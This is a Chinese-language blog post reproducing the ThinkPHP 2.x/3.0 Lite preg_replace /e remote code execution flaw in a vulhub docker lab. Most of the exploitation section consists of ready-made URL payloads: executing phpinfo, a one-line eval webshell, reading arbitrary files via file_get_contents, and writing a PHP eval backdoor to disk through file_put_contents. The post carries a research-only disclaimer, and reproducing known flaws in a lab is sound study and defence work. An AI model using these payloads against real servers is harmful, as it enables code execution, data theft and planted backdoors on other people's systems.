php漏洞2019,2019-11-14:ThinkPHP 2.x 任意代码执行漏洞,复现

*文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

一、环境搭建

1,使用docker,vulhub搭建环境

使用命令,cd  /vulhub-master/thinkphp/2-rce,进入漏洞环境目录

使用命令,sudo docker-compose up -d,下载运行环境

使用命令,sudo docker ps,确定环境搭建成功,端口为8080

f31913b75a49b4f2d9e8602071895793.png

8029aa4e46ab973b48bcd1980007f58e.png

2,打开浏览器,访问靶机ip,加8080端口,访问成功,说明环境搭建好了

7d239e4b752ddd06ee5a8b9f5125e98a.png

二、漏洞复现

POC:直接访问http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D即可执行phpinfo():

7ea8d30e571726b72c968caac1f6c08e.png

2,一句话POC,http://192.168.190.133:8080/index.php?s=/index/index/name/${${@eval($_POST[1])}}

a34ae77d27f62fed62a0c9413c3a9cea.png

33f201408443703c513fd3687f1b07ca.png

e51a0a6d619318f32f70468d7b5f0619.png

3,读文件POC:http://192.168.190.133:8080/index.php?s=/index/index/name/{${exit(var_dump(file_get_contents($_POST[1])))}}

bec8010f8d4aebeee5aa5c43d1a11bad.png

c78940659897a11fe3ad718643dd8537.png

4,写文件POC:http://192.168.190.133:8080/index.php?s=/index/index/name/{${exit(var_dump(file_put_contents($_POST[f],$_POST[d])))}}

POST DATA:f=1.txt&d=<?php @eval($_POST[aa])?>

d9d1a6dd5d371edc8f32b52ade960594.png

c563930665874040a6e6321ca3444d06.png

标签:11,index,8080,14,漏洞,代码执行,POST,POC,name

来源: https://www.cnblogs.com/sym945/p/11854963.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值